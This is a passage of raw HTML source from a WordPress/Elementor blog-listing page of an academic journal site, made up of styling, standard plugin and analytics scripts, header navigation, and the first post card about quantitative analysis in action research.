-56{width:56%}.ha-h-56{height:56%}.ha-w-57{width:57%}.ha-h-57{height:57%}.ha-w-58{width:58%}.ha-h-58{height:58%}.ha-w-59{width:59%}.ha-h-59{height:59%}.ha-w-60{width:60%}.ha-h-60{height:60%}.ha-w-61{width:61%}.ha-h-61{height:61%}.ha-w-62{width:62%}.ha-h-62{height:62%}.ha-w-63{width:63%}.ha-h-63{height:63%}.ha-w-64{width:64%}.ha-h-64{height:64%}.ha-w-65{width:65%}.ha-h-65{height:65%}.ha-w-66{width:66%}.ha-h-66{height:66%}.ha-w-67{width:67%}.ha-h-67{height:67%}.ha-w-68{width:68%}.ha-h-68{height:68%}.ha-w-69{width:69%}.ha-h-69{height:69%}.ha-w-70{width:70%}.ha-h-70{height:70%}.ha-w-71{width:71%}.ha-h-71{height:71%}.ha-w-72{width:72%}.ha-h-72{height:72%}.ha-w-73{width:73%}.ha-h-73{height:73%}.ha-w-74{width:74%}.ha-h-74{height:74%}.ha-w-75{width:75%}.ha-h-75{height:75%}.ha-w-76{width:76%}.ha-h-76{height:76%}.ha-w-77{width:77%}.ha-h-77{height:77%}.ha-w-78{width:78%}.ha-h-78{height:78%}.ha-w-79{width:79%}.ha-h-79{height:79%}.ha-w-80{width:80%}.ha-h-80{height:80%}.ha-w-81{width:81%}.ha-h-81{height:81%}.ha-w-82{width:82%}.ha-h-82{height:82%}.ha-w-83{width:83%}.ha-h-83{height:83%}.ha-w-84{width:84%}.ha-h-84{height:84%}.ha-w-85{width:85%}.ha-h-85{height:85%}.ha-w-86{width:86%}.ha-h-86{height:86%}.ha-w-87{width:87%}.ha-h-87{height:87%}.ha-w-88{width:88%}.ha-h-88{height:88%}.ha-w-89{width:89%}.ha-h-89{height:89%}.ha-w-90{width:90%}.ha-h-90{height:90%}.ha-w-91{width:91%}.ha-h-91{height:91%}.ha-w-92{width:92%}.ha-h-92{height:92%}.ha-w-93{width:93%}.ha-h-93{height:93%}.ha-w-94{width:94%}.ha-h-94{height:94%}.ha-w-95{width:95%}.ha-h-95{height:95%}.ha-w-96{width:96%}.ha-h-96{height:96%}.ha-w-97{width:97%}.ha-h-97{height:97%}.ha-w-98{width:98%}.ha-h-98{height:98%}.ha-w-99{width:99%}.ha-h-99{height:99%}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax img,.ha-w-100{width:100%}.ha-h-100{height:100%}.ha-flex{display:-webkit-box!important;display:-webkit-flex!important;display:-ms-flexbox!important;display:flex!important}.ha-flex-inline{display:-webkit-inline-box!important;display:-webkit-inline-flex!important;display:-ms-inline-flexbox!important;display:inline-flex!important}.ha-flex-x-start{-webkit-box-pack:start;-ms-flex-pack:start;-webkit-justify-content:flex-start;justify-content:flex-start}.ha-flex-x-end{-webkit-box-pack:end;-ms-flex-pack:end;-webkit-justify-content:flex-end;justify-content:flex-end}.ha-flex-x-between{-webkit-box-pack:justify;-ms-flex-pack:justify;-webkit-justify-content:space-between;justify-content:space-between}.ha-flex-x-around{-ms-flex-pack:distribute;-webkit-justify-content:space-around;justify-content:space-around}.ha-flex-x-even{-webkit-box-pack:space-evenly;-ms-flex-pack:space-evenly;-webkit-justify-content:space-evenly;justify-content:space-evenly}.ha-flex-x-center{-webkit-box-pack:center;-ms-flex-pack:center;-webkit-justify-content:center;justify-content:center}.ha-flex-y-top{-webkit-box-align:start;-webkit-align-items:flex-start;align-items:flex-start;-ms-flex-align:start}.ha-flex-y-center{-webkit-box-align:center;-webkit-align-items:center;align-items:center;-ms-flex-align:center}.ha-flex-y-bottom{-webkit-box-align:end;-webkit-align-items:flex-end;align-items:flex-end;-ms-flex-align:end}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax{position:absolute;display:block;background-repeat:no-repeat}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-left{left:0}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-center{left:50%}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-right{right:0}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-top{top:0}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-vcenter{top:50%}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-vcenter:not(.ha-multi-layer-parallax-center){-webkit-transform:translateY(-50%);-ms-transform:translateY(-50%);transform:translateY(-50%)}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-center.ha-multi-layer-parallax-vcenter{-webkit-transform:translate(-50%,-50%);-ms-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.ha-multi-layer-parallax--yes .ha-multi-layer-parallax-bottom{bottom:0}
/*# sourceURL=elementor-frontend-inline-css */
</style>
<link rel='stylesheet' id='elementor-post-10-css' href='https://joissresearch.org/wp-content/uploads/elementor/css/post-10.css?ver=1789003974' media='all' />
<link rel='stylesheet' id='e-animation-shrink-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/lib/animations/styles/e-animation-shrink.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='widget-image-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/css/widget-image.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='widget-heading-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/css/widget-heading.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='widget-woocommerce-menu-cart-css' href='https://joissresearch.org/wp-content/plugins/elementor-pro/assets/css/widget-woocommerce-menu-cart.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='e-sticky-css' href='https://joissresearch.org/wp-content/plugins/elementor-pro/assets/css/modules/sticky.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='widget-icon-list-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='widget-social-icons-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='e-apple-webkit-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/css/conditionals/apple-webkit.min.css?ver=3.34.0' media='all' />
<link data-minify="1" rel='stylesheet' id='elementor-icons-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=1789003975' media='all' />
<link rel='stylesheet' id='e-animation-fadeInUp-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/lib/animations/styles/fadeInUp.min.css?ver=3.34.0' media='all' />
<link rel='stylesheet' id='elementor-post-1614-css' href='https://joissresearch.org/wp-content/cache/background-css/joissresearch.org/wp-content/uploads/elementor/css/post-1614.css?ver=1789014804&wpr_t=1789284940' media='all' />
<link rel='stylesheet' id='elementor-post-34-css' href='https://joissresearch.org/wp-content/uploads/elementor/css/post-34.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='happy-icons-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/happy-elementor-addons/assets/fonts/style.min.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='font-awesome-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/elementor/assets/lib/font-awesome/css/font-awesome.min.css?ver=1789003975' media='all' />
<link rel='stylesheet' id='elementor-post-213-css' href='https://joissresearch.org/wp-content/uploads/elementor/css/post-213.css?ver=1789003975' media='all' />
<link rel='stylesheet' id='hello-elementor-child-style-css' href='https://joissresearch.org/wp-content/themes/hello-theme-child-master/style.css?ver=2.0.0' media='all' />
<link data-minify="1" rel='stylesheet' id='happy-elementor-addons-1614-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/uploads/happyaddons/css/ha-1614.css?ver=1789014804' media='all' />
<link data-minify="1" rel='stylesheet' id='elementor-gf-local-robotoslab-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/uploads/elementor/google-fonts/css/robotoslab.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='elementor-gf-local-poppins-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/uploads/elementor/google-fonts/css/poppins.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='elementor-gf-local-lora-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/uploads/elementor/google-fonts/css/lora.css?ver=1789003975' media='all' />
<link rel='stylesheet' id='elementor-icons-shared-0-css' href='https://joissresearch.org/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.min.css?ver=5.15.3' media='all' />
<link data-minify="1" rel='stylesheet' id='elementor-icons-fa-solid-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.min.css?ver=1789003975' media='all' />
<link data-minify="1" rel='stylesheet' id='elementor-icons-fa-brands-css' href='https://joissresearch.org/wp-content/cache/min/1/wp-content/plugins/elementor/assets/lib/font-awesome/css/brands.min.css?ver=1789003975' media='all' />
<script id="jquery-core-js" src="https://joissresearch.org/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://joissresearch.org/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<script id="wc-single-product-js-extra">
var wc_single_product_params = {"i18n_required_rating_text":"Please select a rating","i18n_rating_options":["1 of 5 stars","2 of 5 stars","3 of 5 stars","4 of 5 stars","5 of 5 stars"],"i18n_product_gallery_trigger_text":"View full-screen image gallery","review_rating_required":"no","flexslider":{"rtl":false,"animation":"slide","smoothHeight":true,"directionNav":false,"controlNav":"thumbnails","slideshow":false,"animationSpeed":500,"animationLoop":false,"allowOneSlide":false},"zoom_enabled":"1","zoom_options":[],"photoswipe_enabled":"1","photoswipe_options":{"shareEl":false,"closeOnScroll":false,"history":false,"hideAnimationDuration":0,"showAnimationDuration":0},"flexslider_enabled":"1"};
//# sourceURL=wc-single-product-js-extra
</script>
<script data-wp-strategy="defer" defer id="wc-single-product-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/frontend/single-product.min.js?ver=10.4.4"></script>
<script data-wp-strategy="defer" defer id="wc-jquery-blockui-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/jquery-blockui/jquery.blockUI.min.js?ver=2.7.0-wc.10.4.4"></script>
<script id="wc-add-to-cart-js-extra">
var wc_add_to_cart_params = {"ajax_url":"/wp-admin/admin-ajax.php","wc_ajax_url":"/?wc-ajax=%%endpoint%%","i18n_view_cart":"View cart","cart_url":"https://joissresearch.org/cart/","is_cart":"","cart_redirect_after_add":"no"};
//# sourceURL=wc-add-to-cart-js-extra
</script>
<script data-wp-strategy="defer" defer id="wc-add-to-cart-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/frontend/add-to-cart.min.js?ver=10.4.4"></script>
<script data-wp-strategy="defer" defer id="wc-js-cookie-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/js-cookie/js.cookie.min.js?ver=2.1.4-wc.10.4.4"></script>
<script id="woocommerce-js-extra">
var woocommerce_params = {"ajax_url":"/wp-admin/admin-ajax.php","wc_ajax_url":"/?wc-ajax=%%endpoint%%","i18n_password_show":"Show password","i18n_password_hide":"Hide password"};
//# sourceURL=woocommerce-js-extra
</script>
<script data-wp-strategy="defer" defer id="woocommerce-js" src="https://joissresearch.org/wp-content/plugins/woocommerce/assets/js/frontend/woocommerce.min.js?ver=10.4.4"></script>
<script id="dom-purify-js" src="https://joissresearch.org/wp-content/plugins/happy-elementor-addons/assets/vendor/dom-purify/purify.min.js?ver=3.1.6"></script>
<link rel="https://api.w.org/" href="https://joissresearch.org/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://joissresearch.org/wp-json/wp/v2/pages/1614" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://joissresearch.org/xmlrpc.php?rsd" />
<link rel='shortlink' href='https://joissresearch.org/?p=1614' />
	<noscript><style>.woocommerce-product-gallery{ opacity: 1 !important; }</style></noscript>
	<meta name="generator" content="Elementor 3.34.0; features: additional_custom_breakpoints; settings: css_print_method-external, google_font-enabled, font_display-swap">
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-8VEMQRNC26"></script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());

  gtag('config', 'G-8VEMQRNC26');
</script>
<meta name="google-site-verification" content="eqGeptb5B7UZP-QcKJXSgfnNOeRkiKtKCgSFGKckKkU" />
			<style>
				.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload),
				.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * {
					background-image: none !important;
				}
				@media screen and (max-height: 1024px) {
					.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload),
					.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * {
						background-image: none !important;
					}
				}
				@media screen and (max-height: 640px) {
					.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload),
					.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * {
						background-image: none !important;
					}
				}
			</style>
			<link rel="icon" href="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Favicon-64x64.png" sizes="32x32" />
<link rel="icon" href="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Favicon-300x300.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Favicon-300x300.png" />
<meta name="msapplication-TileImage" content="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Favicon-300x300.png" />
<style id="wp-custom-css">
.woocommerce ul.products li.product a img {
	visibility: hidden;
	height: 0px;
}
</style>
			<style type="text/css">
					.is-form-id-3409 .is-search-submit:focus,
			.is-form-id-3409 .is-search-submit:hover,
			.is-form-id-3409 .is-search-submit,
            .is-form-id-3409 .is-search-icon {
			            background-color: #ffc700 !important;            			}
            			</style>
					<style type="text/css">
					.is-form-id-1842 .is-search-submit:focus,
			.is-form-id-1842 .is-search-submit:hover,
			.is-form-id-1842 .is-search-submit,
            .is-form-id-1842 .is-search-icon {
			            background-color: #ffc700 !important;            border-color: #ffc700 !important;			}
            			</style>
		<noscript><style id="rocket-lazyload-nojs-css">.rll-youtube-player, [data-lazy-src]{display:none !important;}</style></noscript><style id="wpr-lazyload-bg"></style><style id="wpr-lazyload-bg-exclusion"></style>
<noscript>
<style id="wpr-lazyload-bg-nostyle">:root{--wpr-bg-03835ca7-76d2-49bd-af79-30641e4b04e8: url('../../../../../../../../../../../../plugins/woocommerce/assets/images/icons/loader.svg');}:root{--wpr-bg-44e44eef-08ed-41a4-bb1d-2c2608e1838f: url('../../../../../../../../../../../../plugins/woocommerce/assets/images/icons/loader.svg');}:root{--wpr-bg-29855157-b690-4d9e-99de-7733630388cb: url('https://joissresearch.org/wp-content/uploads/2023/12/andrew-neel-cckf4TsHAuw-unsplash-min.jpg');}</style>
</noscript>
<script type="application/javascript">const rocket_pairs = [{"selector":".woocommerce .blockUI.blockOverlay","style":":root{--wpr-bg-03835ca7-76d2-49bd-af79-30641e4b04e8: url('..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/plugins\/woocommerce\/assets\/images\/icons\/loader.svg');}","hash":"03835ca7-76d2-49bd-af79-30641e4b04e8"},{"selector":".woocommerce .loader","style":":root{--wpr-bg-44e44eef-08ed-41a4-bb1d-2c2608e1838f: url('..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/plugins\/woocommerce\/assets\/images\/icons\/loader.svg');}","hash":"44e44eef-08ed-41a4-bb1d-2c2608e1838f"},{"selector":".elementor-1614 .elementor-element.elementor-element-b4a8aba:not(.elementor-motion-effects-element-type-background), .elementor-1614 .elementor-element.elementor-element-b4a8aba > .elementor-motion-effects-container > .elementor-motion-effects-layer","style":":root{--wpr-bg-29855157-b690-4d9e-99de-7733630388cb: url('https:\/\/joissresearch.org\/wp-content\/uploads\/2023\/12\/andrew-neel-cckf4TsHAuw-unsplash-min.jpg');}","hash":"29855157-b690-4d9e-99de-7733630388cb"}]; const rocket_excluded_pairs = [];</script></head>
<body class="paged wp-singular page-template page-template-elementor_header_footer page page-id-1614 wp-embed-responsive paged-10 page-paged-10 wp-theme-hello-elementor wp-child-theme-hello-theme-child-master theme-hello-elementor woocommerce-no-js hello-elementor hello-elementor-default elementor-default elementor-template-full-width elementor-kit-10 elementor-page elementor-page-1614">


<a class="skip-link screen-reader-text" href="#content">Skip to content</a>

		<header data-elementor-type="header" data-elementor-id="34" class="elementor elementor-34 elementor-location-header" data-elementor-settings="{&quot;ha_cmc_init_switcher&quot;:&quot;no&quot;}" data-elementor-post-type="elementor_library">
			<header class="has_ae_slider elementor-element elementor-element-70fbdaf sticky-header e-con-full e-flex ae-bg-gallery-type-default e-con e-parent" data-id="70fbdaf" data-element_type="container" data-settings="{&quot;background_background&quot;:&quot;classic&quot;,&quot;sticky&quot;:&quot;top&quot;,&quot;sticky_effects_offset&quot;:90,&quot;sticky_on&quot;:[&quot;desktop&quot;,&quot;tablet&quot;,&quot;mobile&quot;],&quot;sticky_offset&quot;:0,&quot;sticky_anchor_link_offset&quot;:0}">
		<div class="has_ae_slider elementor-element elementor-element-c1b9c9c e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="c1b9c9c" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-6a65c32 elementor-view-default elementor-widget elementor-widget-icon" data-id="6a65c32" data-element_type="widget" data-widget_type="icon.default">
				<div class="elementor-widget-container">
							<div class="elementor-icon-wrapper">
			<a class="elementor-icon elementor-animation-shrink" href="#elementor-action%3Aaction%3Dpopup%3Aopen%26settings%3DeyJpZCI6Ijg1IiwidG9nZ2xlIjpmYWxzZX0%3D">
			<i aria-hidden="true" class="fas fa-align-left"></i>			</a>
		</div>
						</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-15ac3ff e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="15ac3ff" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-ffab093 elementor-widget__width-initial elementor-widget-mobile__width-initial elementor-widget elementor-widget-image" data-id="ffab093" data-element_type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
																<a href="https://joissresearch.org/">
							<picture class="attachment-large size-large wp-image-2879">
<source type="image/webp" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Registered-Logo.png.webp"/>
<img width="800" height="259" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%20800%20259'%3E%3C/svg%3E" alt="" data-lazy-src="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Registered-Logo.png"/><noscript><img width="800" height="259" src="https://joissresearch.org/wp-content/uploads/2023/09/JOISS-Registered-Logo.png" alt=""/></noscript>
</picture>
								</a>
															</div>
				</div>
				<div class="elementor-element elementor-element-4990742 elementor-widget__width-auto elementor-widget elementor-widget-heading" data-id="4990742" data-element_type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">ISSN 2818-9590</h2>				</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-6cc495c elementor-hidden-tablet elementor-hidden-mobile e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="6cc495c" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-8181e58 elementor-align-right elementor-widget__width-auto elementor-widget elementor-widget-button" data-id="8181e58" data-element_type="widget" data-widget_type="button.default">
				<div class="elementor-widget-container">
									<div class="elementor-button-wrapper">
					<a class="elementor-button elementor-button-link elementor-size-xs elementor-animation-shrink" href="https://joissresearch.org/article-submission/">
						<span class="elementor-button-content-wrapper">
									<span class="elementor-button-text">SUBMIT TO PUBLISH</span>
					</span>
					</a>
				</div>
								</div>
				</div>
				<div class="elementor-element elementor-element-f6c752b elementor-align-right elementor-widget__width-auto elementor-widget elementor-widget-button" data-id="f6c752b" data-element_type="widget" data-widget_type="button.default">
				<div class="elementor-widget-container">
									<div class="elementor-button-wrapper">
					<a class="elementor-button elementor-button-link elementor-size-xs elementor-animation-shrink" href="https://joissresearch.org/student-scholarship/">
						<span class="elementor-button-content-wrapper">
									<span class="elementor-button-text">APPLY FOR SCHOLARSHIP</span>
					</span>
					</a>
				</div>
								</div>
				</div>
				<div class="elementor-element elementor-element-aec1bdb elementor-align-right elementor-widget__width-auto elementor-widget elementor-widget-button" data-id="aec1bdb" data-element_type="widget" data-widget_type="button.default">
				<div class="elementor-widget-container">
									<div class="elementor-button-wrapper">
					<a class="elementor-button elementor-button-link elementor-size-xs elementor-animation-shrink" href="https://joissresearch.org/volunteering/">
						<span class="elementor-button-content-wrapper">
									<span class="elementor-button-text">VOLUNTEER</span>
					</span>
					</a>
				</div>
								</div>
				</div>
				<div class="elementor-element elementor-element-97b492f elementor-align-right elementor-widget__width-auto elementor-widget elementor-widget-button" data-id="97b492f" data-element_type="widget" data-widget_type="button.default">
				<div class="elementor-widget-container">
									<div class="elementor-button-wrapper">
					<a class="elementor-button elementor-button-link elementor-size-xs elementor-animation-shrink" href="https://joissresearch.org/donate-to-joiss/">
						<span class="elementor-button-content-wrapper">
									<span class="elementor-button-text">DONATE</span>
					</span>
					</a>
				</div>
								</div>
				</div>
				<div class="elementor-element elementor-element-3c12de1 elementor-align-right elementor-widget__width-auto elementor-widget elementor-widget-button" data-id="3c12de1" data-element_type="widget" data-widget_type="button.default">
				<div class="elementor-widget-container">
									<div class="elementor-button-wrapper">
					<a class="elementor-button elementor-button-link elementor-size-xs elementor-animation-shrink" href="https://joissresearch.org/journal/un-education-day-event-24th-january/">
						<span class="elementor-button-content-wrapper">
									<span class="elementor-button-text">EVENTS</span>
					</span>
					</a>
				</div>
								</div>
				</div>
				</div>
		<div class="has_ae_slider elementor-element elementor-element-661b607 e-con-full e-flex ae-bg-gallery-type-default e-con e-child" data-id="661b607" data-element_type="container" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
				<div class="elementor-element elementor-element-3fc3f02 elementor-widget__width-auto elementor-view-default elementor-widget elementor-widget-icon" data-id="3fc3f02" data-element_type="widget" data-widget_type="icon.default">
				<div class="elementor-widget-container">
							<div class="elementor-icon-wrapper">
			<a class="elementor-icon" href="https://joissresearch.org/my-account/">
			<i aria-hidden="true" class="fas fa-user-graduate"></i>			</a>
		</div>
						</div>
				</div>
				<div class="elementor-element elementor-element-3b5393a toggle-icon--basket-light elementor-widget__width-auto elementor-hidden-desktop elementor-hidden-tablet elementor-hidden-mobile elementor-menu-cart--items-indicator-bubble elementor-menu-cart--cart-type-side-cart elementor-menu-cart--show-remove-button-yes elementor-widget elementor-widget-woocommerce-menu-cart" data-id="3b5393a" data-element_type="widget" data-settings="{&quot;cart_type&quot;:&quot;side-cart&quot;,&quot;open_cart&quot;:&quot;click&quot;,&quot;automatically_open_cart&quot;:&quot;no&quot;}" data-widget_type="woocommerce-menu-cart.default">
				<div class="elementor-widget-container">
							<div class="elementor-menu-cart__wrapper">
							<div class="elementor-menu-cart__toggle_wrapper">
					<div class="elementor-menu-cart__container elementor-lightbox" aria-hidden="true">
						<div class="elementor-menu-cart__main" aria-hidden="true">
									<div class="elementor-menu-cart__close-button">
					</div>
									<div class="widget_shopping_cart_content">
															</div>
						</div>
					</div>
							<div class="elementor-menu-cart__toggle elementor-button-wrapper">
			<a id="elementor-menu-cart__toggle_button" href="#" class="elementor-menu-cart__toggle_button elementor-button elementor-size-sm" aria-expanded="false">
				<span class="elementor-button-text"><span class="woocommerce-Price-amount amount"><bdi>0.00&nbsp;<span class="woocommerce-Price-currencySymbol">&#36;</span></bdi></span></span>
				<span class="elementor-button-icon">
					<span class="elementor-button-icon-qty" data-counter="0">0</span>
					<i class="eicon-basket-light"></i>					<span class="elementor-screen-only">Cart</span>
				</span>
			</a>
		</div>
						</div>
					</div> <!-- close elementor-menu-cart__wrapper -->
						</div>
				</div>
				</div>
				</header>
				</header>
				<div data-elementor-type="wp-page" data-elementor-id="1614" class="elementor elementor-1614" data-elementor-settings="{&quot;ha_cmc_init_switcher&quot;:&quot;no&quot;}" data-elementor-post-type="page">
						<section class="has_ae_slider elementor-section elementor-top-section elementor-element elementor-element-b4a8aba elementor-section-boxed elementor-section-height-default elementor-section-height-default ae-bg-gallery-type-default" data-id="b4a8aba" data-element_type="section" data-settings="{&quot;background_background&quot;:&quot;classic&quot;,&quot;_ha_eqh_enable&quot;:false}">
							<div class="elementor-background-overlay"></div>
							<div class="elementor-container elementor-column-gap-default">
					<div class="has_ae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-05f510c ae-bg-gallery-type-default" data-id="05f510c" data-element_type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-4028bab elementor-invisible elementor-widget elementor-widget-heading" data-id="4028bab" data-element_type="widget" data-settings="{&quot;_animation&quot;:&quot;fadeInUp&quot;}" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Blogs</h2>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				<section class="has_ae_slider elementor-section elementor-top-section elementor-element elementor-element-d49d15f elementor-section-boxed elementor-section-height-default elementor-section-height-default ae-bg-gallery-type-default" data-id="d49d15f" data-element_type="section" data-settings="{&quot;_ha_eqh_enable&quot;:false}">
						<div class="elementor-container elementor-column-gap-default">
					<div class="has_ae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-2214a9d ae-bg-gallery-type-default" data-id="2214a9d" data-element_type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-e28239b ha-pg-grid-2 ha-pg-grid-tablet-2 ha-pg-grid-mobile-1 elementor-invisible elementor-widget elementor-widget-ha-post-grid-new happy-addon ha-post-grid-new happy-addon-pro" data-id="e28239b" data-element_type="widget" data-settings="{&quot;_animation&quot;:&quot;fadeInUp&quot;,&quot;columns&quot;:&quot;2&quot;,&quot;columns_tablet&quot;:&quot;2&quot;,&quot;columns_mobile&quot;:&quot;1&quot;}" data-widget_type="ha-post-grid-new.default">
				<div class="elementor-widget-container">
											<div class="ha-pg-wrapper ha-pg-default ha-pg-outbox">
					<div class="ha-pg-grid-wrap">
					
								<div class="ha-pg-item">
			<div class="ha-pg-outbox-top">
									<div class="ha-pg-thumb-area">
						<a href="https://joissresearch.org/harmonizing-purpose-the-role-of-quantitative-analysis-in-action-research-clarity/" class="ha-pg-thumb">
							<picture fetchpriority="high" decoding="async" class="attachment-full size-full wp-post-image">
<source type="image/webp" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2024/02/Blog-banner.jpg.webp"/>
<img fetchpriority="high" decoding="async" width="2448" height="1632" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%202448%201632'%3E%3C/svg%3E" alt="" data-lazy-src="https://joissresearch.org/wp-content/uploads/2024/02/Blog-banner.jpg"/><noscript><img fetchpriority="high" decoding="async" width="2448" height="1632" src="https://joissresearch.org/wp-content/uploads/2024/02/Blog-banner.jpg" alt=""/></noscript>
</picture>
						</a>

														<div class="ha-pg-avatar">
			<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" id="Layer_1" x="0px" y="0px" width="300px" height="105px" viewBox="0 0 300 105" xml:space="preserve">
				<path d="M0,104.9h300V79.8h-17.9c-26.1,0-49.8-14.6-62.1-37.6c-13.4-25-39.9-42.1-70.3-42.1s-56.8,17-70.3,42.1  c-12.3,23-36,37.6-62.1,37.6H0V104.9z"></path>
			</svg>
			<img decoding="async" src="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2060%2060'%3E%3C/svg%3E" width="60" height="60" data-lazy-srcset="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled.jpg 2x" alt="Dr. Ninad Bhatt" class="avatar avatar-60 wp-user-avatar wp-user-avatar-60 alignnone photo" data-lazy-src="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled-100x100.jpg" /><noscript><img decoding="async" src="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled-100x100.jpg" width="60" height="60" srcset="https://joissresearch.org/wp-content/uploads/2024/05/HeadshotNinad-min-scaled.jpg 2x" alt="Dr. Ninad Bhatt" class="avatar avatar-60 wp-user-avatar wp-user-avatar-60 alignnone photo" /></noscript>		</div>
							</div>
								<div class="ha-pg-content-area">
					<h4 class="ha-pg-title"><a href="https://joissresearch.org/harmonizing-purpose-the-role-of-quantitative-analysis-in-action-research-clarity/">Harmonizing Purpose: The Role of Quantitative Analysis in Action Research Clarity</a></h4>
								<div class="ha-pg-excerpt">
				<p>Action research sets forth on the path of enrichment underpinned by methodological understanding and quantitative&hellip;</p>			</div>
						</div>
			</div>
            			<div class="ha-pg-meta-wrap">
				<ul>
											<li class="ha-pg-author">
								<a class="ha-pg-author-text" href="https://joissresearch.org/author/dr-ninad-bhatt/">
